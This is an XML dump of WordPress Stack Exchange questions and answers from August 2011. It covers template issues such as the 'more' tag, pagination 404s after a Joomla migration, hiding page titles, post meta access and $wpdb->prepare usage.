  <row Id="25741" PostTypeId="1" CreationDate="2011-08-12T15:12:10.260" Score="0" ViewCount="37" Body="&lt;p&gt;I have a custom post type called &quot;Blog&quot;, in my templates I looping over the blog type and doing the following, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;section class=&quot;news&quot;&amp;gt;&#xA;                &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;?php echo strtolower(the_title()); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;?php userphoto_the_author_thumbnail();?&amp;gt; Posted By &amp;lt;?php the_author(); ?&amp;gt; - &amp;lt;?php the_date(&quot;l jS M Y&quot;); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p class=&quot;tags&quot;&amp;gt;&#xA;                    &amp;lt;?php $tags = wp_get_post_tags($post-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;?php foreach ($tags as $tag) : ?&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $tag-&amp;gt;slug; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $tag-&amp;gt;name; ?&amp;gt; &amp;lt;/a&amp;gt; |&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php the_content(&quot;Read More&quot;); ?&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My post consists of this content,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello World I am teaser  &#xA;&amp;lt;!--more--&amp;gt;  &#xA;Hello World I am a the content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am expecting the output to looks like this, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello Word I am teaser&#xA;&amp;lt;a href=&quot;link_url&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However what I am getting is the following, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Hello World I am teaser  &#xA;&#xA;   Hello World I am a the content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-08-12T17:42:40.910" Title="&lt;!--more--&gt; help" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;template-tags&gt;&lt;more&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25743" PostTypeId="2" ParentId="25697" CreationDate="2011-08-12T15:15:08.493" Score="2" ViewCount="" Body="&lt;h2&gt;Virtual pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A third technique I saw was assigning a special page as the placeholder for your plugin and use 'the_content' filter to output whatever you need to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, you can make templates that blend in with the theme structure, since you don't have to deal with headers, sidebars, footers and wrapper divs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A great example of this can be found in the bbPress plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bbpress.trac.wordpress.org/browser/branches/plugin/bbp-includes/bbp-core-compatibility.php?rev=3434#L931&quot; rel=&quot;nofollow&quot;&gt;http://bbpress.trac.wordpress.org/browser/branches/plugin/bbp-includes/bbp-core-compatibility.php?rev=3434#L931&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-25T00:45:34.630" LastActivityDate="2011-08-25T00:45:34.630" CommentCount="9" />
  <row Id="25744" PostTypeId="2" ParentId="25740" CreationDate="2011-08-12T15:39:23.410" Score="1" ViewCount="" Body="&lt;p&gt;A possible quick fix is to duplicate your &lt;code&gt;page.php&lt;/code&gt; or &lt;code&gt;index.php&lt;/code&gt; template file, rename it &lt;code&gt;front-page.php&lt;/code&gt;, then open it and delete &lt;code&gt;the_title();&lt;/code&gt; and any html tags around it, like &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;/h1&amp;gt;&lt;/code&gt; or whatever the title is wrapped in.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-12T15:39:23.410" />
  <row Id="25745" PostTypeId="1" AcceptedAnswerId="25750" CreationDate="2011-08-12T15:40:08.400" Score="0" ViewCount="36" Body="&lt;p&gt;I have migrate my web site from Joomla to WordPress. All are fine, I have create my Rewrites in htaccess to stop 404 from old URLs but I have problem with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla web site, I had 6 posts per page, but now in WordPress I need to display 10 posts per page. That's fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that, in WordPress site now the very very last pages return 404 error because of the 10 posts per page I use now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.: In Joomla to get the 60th article I had to go on page 10, but now page 10 does not exists anymore, because In WordPress the very very last page now is the page 6. In that case, I will try to access the 7th, 8th, 9th or 10th page I get a 404 HTTP Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix that?&lt;/p&gt;&#xA;" OwnerUserId="7850" LastActivityDate="2011-08-12T16:41:00.697" Title="WordPress total posts per page changed and now 404 Http error comes out" Tags="&lt;url-rewriting&gt;&lt;pagination&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25746" PostTypeId="1" CreationDate="2011-08-12T16:07:24.560" Score="0" ViewCount="7" Body="&lt;p&gt;One way is to install php and wordpress on server following  &lt;a href=&quot;http://www.amixa.com/blog/2011/01/07/wordpress-windows-2008-web-server-r2-iis-7-5-setup/&quot; rel=&quot;nofollow&quot;&gt;WordPress Windows 2008 Web Server R2 IIS 7.5 setup&lt;/a&gt;. Is it possible to reroute url like blog.yourcompanyname.com to another ip address and use linux host to do job? &lt;/p&gt;&#xA;" OwnerUserId="7851" LastActivityDate="2011-08-12T16:07:24.560" Title="How to add wordpress blog to Windows 2008 R2 site" Tags="&lt;wp-admin&gt;" />
  <row Id="25747" PostTypeId="1" CreationDate="2011-08-12T15:22:15.433" Score="0" ViewCount="34" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25745/wordpress-total-posts-per-page-changed-and-now-404-http-error-comes-out&quot;&gt;WordPress total posts per page changed and now 404 Http error comes out&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have migrate my web site from Joomla to WordPress. All are fine, I have create my Rewrites in htaccess to stop 404 from old URLs but I have problem with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla web site, I had 6 posts per page, but now in WordPress I need to display 10 posts per page. That's fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that, in WordPress site now the very very last pages return 404 error because of the 10 posts per page I use now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.: In Joomla to get the 60th article I had to go on page 10, but now page 10 does not exists anymore, because In WordPress the very very last page now is the page 6. In that case, I will try to access the 7th, 8th, 9th or 10th page I get a 404 HTTP Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix that?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-12T16:08:26.667" ClosedDate="2011-08-12T18:46:25.157" Title="WordPress total posts per page changed and now 404 Http error comes out" Tags="&lt;htaccess&gt;&lt;url-rewriting&gt;&lt;pagination&gt;" CommentCount="3" />
  <row Id="25748" PostTypeId="2" ParentId="25697" CreationDate="2011-08-12T16:35:59.127" Score="2" ViewCount="" Body="&lt;p&gt;In some regards you have to weigh the balance between creating a plugin or a theme,  if your scenario requires a lot of customization/features it is usually always better to create a theme instead. That way the user can then customize in terms of look which is always easier then getting the user to customize the functionality ( by jamming shortcodes everywhere), you have greater feature control, it works with other plugins, etc.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin trying to heavily integrate with all the variety of themes on the market is bound to cause a lot of trouble and honestly a lot of work for you.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example instead of creating a very integrated plugin based on music and discography management, instead create a theme for that purpose, this is becoming more popular for niche markets that require custom work. A real world example would be a real estate based theme, there is no way I would use a plugin for this since it has such a deep feature set, instead it is created from the ground up as a theme, since themes can take advantage of all the features of plugins anyhow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also likely that from a marketing perspective a niche theme will do better than a plugin when balancing front-end features.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-12T17:47:43.227" LastActivityDate="2011-08-12T17:47:43.227" CommentCount="1" />
  <row Id="25749" PostTypeId="2" ParentId="25736" CreationDate="2011-08-12T16:38:31.047" Score="0" ViewCount="" Body="&lt;p&gt;I hope you are using different theme in each site &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add this code in your header.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/favicon.ico&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add your favicon in each theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologize me if this is not the answer you looking for &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-12T16:38:31.047" />
  <row Id="25750" PostTypeId="2" ParentId="25745" CreationDate="2011-08-12T16:41:00.697" Score="0" ViewCount="" Body="&lt;p&gt;The only way to really know if it's going to be a 404 is to let WordPress try to load it and check results before WP sends headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put this in your functions.php (&lt;strong&gt;not on a live site! use a dev mirror.&lt;/strong&gt;), then visit a page that throws a 404, you can see the contents of the &lt;code&gt;$wp_query&lt;/code&gt; object produced, &lt;code&gt;is_404&lt;/code&gt; will be true. By inspecting this you can determine what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_redirect', 'wpse25745_inspect_query' );&#xA;function wpse25745_inspect_query() {&#xA;    global $wp_query;&#xA;&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($wp_query);&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;    die();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following on that, you can redirect somewhere like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_redirect', 'wpse25745_inspect_query' );&#xA;function wpse25745_inspect_query() {&#xA;    global $wp_query;&#xA;&#xA;    if( $wp_query-&amp;gt;is_404 &amp;amp;&amp;amp; $some_other_conditions_met == 'foo' ):&#xA;        wp_redirect( home_url(),301 );&#xA;        exit;&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-12T16:41:00.697" CommentCount="1" />
  <row Id="25751" PostTypeId="1" AcceptedAnswerId="25766" CreationDate="2011-08-12T16:58:55.787" Score="0" ViewCount="30" Body="&lt;p&gt;If I call the following function (on a page template, e.g. page-home.php) before the loop, nothing is returned. If I call it during or after the loop, the expected values are returned. Is there a way to access these meta fields before the loop runs?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function home_content() {&#xA;    global $post;&#xA;    $headline = get_post_meta($post-&amp;gt;ID, 'top-headline', true);&#xA;    $body = get_post_meta($post-&amp;gt;ID, 'top-body', true);&#xA;    $return = '&amp;lt;h4&amp;gt;' . $headline . '&amp;lt;/h4&amp;gt;';&#xA;    $return .= '&amp;lt;p&amp;gt;' . $body . '&amp;lt;/p&amp;gt;';&#xA;    echo $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-08-12T18:24:11.200" Title="Can I access a post meta field before the loop?" Tags="&lt;custom-field&gt;&lt;loop&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="25752" PostTypeId="2" ParentId="25741" CreationDate="2011-08-12T17:08:38.653" Score="1" ViewCount="" Body="&lt;p&gt;Try replacing what you have wit this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;section class=&quot;news&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;title&quot;&amp;gt;&amp;lt;?php echo strtolower(the_title()); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;h4&amp;gt;&amp;lt;?php userphoto_the_author_thumbnail();?&amp;gt; Posted By &amp;lt;?php the_author(); ?&amp;gt; - &amp;lt;?php the_date(&quot;l jS M Y&quot;); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p class=&quot;tags&quot;&amp;gt;&#xA;            &amp;lt;?php $tags = wp_get_post_tags($post-&amp;gt;ID); ?&amp;gt;&#xA;            &amp;lt;?php foreach ($tags as $tag) : ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $tag-&amp;gt;slug; ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $tag-&amp;gt;name; ?&amp;gt; &amp;lt;/a&amp;gt; |&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add this to your functions.php in place of what is now there for the more tag (if any exists):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function all_excerpts_get_more_link($post_excerpt) {&#xA;  return '' . $post_excerpt . '' . '&amp;lt;span class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;' . 'Read More' . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;add_filter('wp_trim_excerpt', 'all_excerpts_get_more_link');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-08-12T17:42:40.910" LastActivityDate="2011-08-12T17:42:40.910" />
  <row Id="25753" PostTypeId="2" ParentId="25741" CreationDate="2011-08-12T17:09:47.490" Score="1" ViewCount="" Body="&lt;p&gt;Try adding the global &lt;code&gt;$more&lt;/code&gt; variable before you call &lt;code&gt;the_content()&lt;/code&gt;. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $more;&#xA;$more = 0;&#xA;the_content( 'Read More' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is how you &lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More#How_to_use_Read_More_in_Pages&quot; rel=&quot;nofollow&quot;&gt;enable the &quot;Read More&quot; tag for Pages&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-12T17:09:47.490" />
  <row Id="25754" PostTypeId="2" ParentId="25740" CreationDate="2011-08-12T17:14:44.050" Score="1" ViewCount="" Body="&lt;p&gt;An alternate approach to Milo's suggestion (which is, in all likelihood, the best solution), is to modify &lt;code&gt;page.php&lt;/code&gt; to wrap &lt;code&gt;the_title()&lt;/code&gt; in a conditional. e.g. replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! is_front_page() ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;?h1&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-12T17:14:44.050" />
  <row Id="25755" PostTypeId="1" CreationDate="2011-08-12T17:15:54.630" Score="0" ViewCount="16" Body="&lt;p&gt;Okay, this is a problem that I'm trying to figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I have a custom post type that is sorted by 4 different variables: basically a combination of taxonomy slugs and custom fields.  I'm using the posts_clauses filter to do it and it works pretty awesomely.  The problem I'm having is when dealing with the next and previous post links in the individual post pages.  I know what filters to use (get_{adjacent}_post_sort, get_{adjacent}_post_join)but how to write the code is confusing.  Looking at the get_adjacent_post function, it uses post_date, a single sort value but I'm not sure how to choose the next or previous post when the posts are being sorted by more than one factor/variable/field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might be more of a MySQL issue but I haven't had much luck asking in the Stackoverflow site, so I ask here.  Any advice on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-08-12T17:15:54.630" Title="Getting the next/previous post if posts sorted by multiple custom fields?" Tags="&lt;custom-field&gt;&lt;filters&gt;&lt;mysql&gt;&lt;sort&gt;" />
  <row Id="25756" PostTypeId="1" CreationDate="2011-08-12T17:17:40.543" Score="0" ViewCount="10" Body="&lt;p&gt;i can make an easy template for displaying custom post types.  but what i'd like to do is add some editable text to the top of my loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey wow, we really make cool products.  I think it'd be nice if this text wasn't had coded into the template.  any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;product 1 &lt;br/&gt;&#xA;product 2 &lt;br/&gt;&#xA;product 3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the easiest way to do that?  is it possible to attach meta to a post &quot;type&quot;? i know you can sort of do something like that for categories/tags/tax, etc.  but for a &quot;type&quot;?  should i make it a theme option?  would i be better served by making a post type and then displaying it through a taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i do want the resulting permalink to be mysite.com/products&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-12T17:17:40.543" Title="Add meta data to the custom post type ARCHIVES page" Tags="&lt;custom-post-types&gt;&lt;custom-post-type-archives&gt;" />
  <row Id="25757" PostTypeId="2" ParentId="25740" CreationDate="2011-08-12T17:55:35.677" Score="1" ViewCount="" Body="&lt;p&gt;Both Chip &amp;amp; Milo's answers would work, or, if you have &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_classes&lt;/a&gt; enabled (so that unique classes are added to each page's body class) you could just add this to your CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.home h1 { display: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the theme that h1 will have a unique style applied to it as well, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.home h1.page-title {display: none; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would be even better, as then you wouldn't accidentally hide any other  tags on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G'luck.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-12T17:55:35.677" />
  <row Id="25758" PostTypeId="1" AcceptedAnswerId="25770" CreationDate="2011-08-12T18:00:22.367" Score="0" ViewCount="43" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function wp() in /home/content/33/7211533/html/someSite/wp-blog-header.php on line 14&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;can anyone figure whats the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already update the wp-includes and wp-admin folder, &#xA;my functions.php is fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but havent figure how to fix it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any good suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----EDIT----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hi guys Im back, theres only 2 plugin installed its the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-db-backup/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant really figure out on what happen on the website, but what I did to fix this weird&#xA;problem ,...is I reinstall wordpress , (upload the new copy of wordpress on the site, and I make sure its latest one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that its started to work fine... &#xA;so this problem is now fixed...&lt;/p&gt;&#xA;" OwnerUserId="2210" LastEditorUserId="2210" LastEditorDisplayName="" LastEditDate="2011-08-14T05:06:32.230" LastActivityDate="2011-08-14T05:06:32.230" Title="How to fix this this error Fatal error: Call to undefined function...?" Tags="&lt;fatal-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25759" PostTypeId="2" ParentId="25708" CreationDate="2011-08-12T18:09:16.180" Score="0" ViewCount="" Body="&lt;p&gt;This would probably be a great place to make use of the CSS &lt;code&gt;:nth-child&lt;/code&gt; pseudo-class, especially &lt;code&gt;:nth-child(odd)&lt;/code&gt; and &lt;code&gt;:nth-child(even)&lt;/code&gt;. I wouldn't worry too much about browser compatibility. If you must, just use jQuery for IE8.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-12T18:09:16.180" />
  <row Id="25760" PostTypeId="1" AcceptedAnswerId="25761" CreationDate="2011-08-12T17:05:04.990" Score="2" ViewCount="18" Body="&lt;p&gt;I currently have a blog set up on my domain (eg domain.com), but I would like to move it and all of its contents to a subdomain (eg sub.domain.com). Is there anything I need to watch out for or modify? Is there a tool which might do this more easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid of database issues (it will be using the database instance as it is now) or calls from within the blog itself not resolving.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-12T19:09:47.880" Title="Moving my current wordpress blog to a subdomain" Tags="&lt;blog&gt;&lt;domain&gt;&lt;server&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25761" PostTypeId="2" ParentId="25760" CreationDate="2011-08-12T17:40:38.417" Score="1" ViewCount="" Body="&lt;p&gt;Check out this word-press plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/backup-and-move/&quot; rel=&quot;nofollow&quot;&gt;Backup and Move&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Backup And Move plugin allow blog administrators to create a complete&#xA;  backup of their blog and easy option for restore it on a different&#xA;  server, domain, location, etc. This plugin can make all the&#xA;  transitions of moving a wordpress blog , creating a complete backup&#xA;  and restoring a previous backup very simple and smooth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7854" LastActivityDate="2011-08-12T17:40:38.417" />
  <row Id="25762" PostTypeId="1" AcceptedAnswerId="25772" CreationDate="2011-08-12T18:19:55.513" Score="0" ViewCount="26" Body="&lt;p&gt;I created a not-hierarchical custom post type and, as default, it's sorted by date published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can reorder them by Title with &lt;code&gt;query_posts()&lt;/code&gt; in the archive template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts( $query_string . '&amp;amp;orderby=title&amp;amp;order=ASC' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it takes another SQL query on each archive page. There is a way to register the sort order natively, eventually to get posts sorted by title even in the admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3192" LastActivityDate="2011-08-12T19:05:25.657" Title="Custom Post Type sorted by Title" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;sort&gt;" AnswerCount="1" />
  <row Id="25763" PostTypeId="2" ParentId="16382" CreationDate="2011-08-12T18:22:47.513" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$wpdb-&amp;gt;show_errors()&lt;/code&gt; shows errors &quot;automagically&quot; ... if &lt;code&gt;WP_DEBUG&lt;/code&gt; is set to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-12T18:22:47.513" />
  <row Id="25764" PostTypeId="1" AcceptedAnswerId="25850" CreationDate="2011-08-12T18:23:21.103" Score="0" ViewCount="25" Body="&lt;p&gt;I'm having trouble passing a table variable to $wpdb-&gt;prepare(); Here is functioning code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $wpdb-&amp;gt;get_blog_prefix( $blog_id ) . 'my_table';&#xA;&#xA;$voters = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $table WHERE user_id= %d AND post_id = %d;&quot;, $user_ID, $post-&amp;gt;ID  ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great. However I think I should also be including my table in the prepare statement. But, it breaks when I change it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $wpdb-&amp;gt;get_blog_prefix( $blog_id ) . 'my_table';&#xA;&#xA;$voters = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(&quot;SELECT * FROM %s WHERE user_id= %d AND post_id = %d;&quot;, $table, $user_ID, $post-&amp;gt;ID  ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why it might be breaking?&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-14T08:07:37.000" Title="Can't pass table to $wpdb-&gt;prepare" Tags="&lt;query&gt;&lt;query-string&gt;&lt;prepare-statement&gt;&lt;table&gt;" AnswerCount="1" />
  <row Id="25765" PostTypeId="1" CreationDate="2011-08-12T18:24:00.250" Score="0" ViewCount="33" Body="&lt;p&gt;I'm trying to use wp_navigate to paginate a custom query. The query has a specific  post_type and tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args = array ( 'post_type' =&amp;gt; 'med',&#xA;                'posts_per_page' =&amp;gt; 30,&#xA;                'order' =&amp;gt; 'ASC',&#xA;                'orderby' =&amp;gt; 'title',&#xA;                'tag' =&amp;gt; $tag,&#xA;                'paged' =&amp;gt; $paged&#xA;                  );&#xA;    $wp_query = new WP_Query( $args );  &#xA;&#xA;wp_pagenavi( array( 'query' =&amp;gt; $wp_query1 ) );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They return me all tags from med post_type, and return me a correct pagination, but when i click on page 2, or 3… i have page not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="7853" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-12T18:49:43.470" LastActivityDate="2011-08-12T18:49:43.470" Title="My query has a specific post_type and tags" Tags="&lt;tags&gt;&lt;query&gt;" />
  <row Id="25766" PostTypeId="2" ParentId="25751" CreationDate="2011-08-12T18:24:11.200" Score="3" ViewCount="" Body="&lt;p&gt;You can get it by calling global $wp_query and assigning post-&gt;ID to a variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;global $wp_query;&#xA;$postid = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;echo get_post_meta($postid, 'top-headline', true);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-12T18:24:11.200" CommentCount="1" />
